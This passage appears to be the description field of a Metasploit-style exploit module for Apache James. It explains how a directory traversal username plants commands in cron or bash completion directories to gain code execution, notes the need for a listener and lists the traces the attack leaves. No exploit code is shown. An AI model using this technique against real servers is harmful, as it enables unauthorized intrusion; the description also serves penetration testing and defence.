      'Description'    => %q{
        This module exploits a vulnerability that exists due to a lack of input
        validation when creating a user. Messages for a given user are stored
        in a directory partially defined by the username. By creating a user
        with a directory traversal payload as the username, commands can be
        written to a given directory. To use this module with the cron
        exploitation method, run the exploit using the given payload, host, and
        port. After running the exploit, the payload will be executed within 60
        seconds. Due to differences in how cron may run in certain Linux
        operating systems such as Ubuntu, it may be preferable to set the
        target to Bash Completion as the cron method may not work. If the target
        is set to Bash completion, start a listener using the given payload,
        host, and port before running the exploit. After running the exploit,
        the payload will be executed when a user logs into the system. For this
        exploitation method, bash completion must be enabled to gain code
        execution. This exploitation method will leave an Apache James mail
        object artifact in the /etc/bash_completion.d directory and the
        malicious user account.
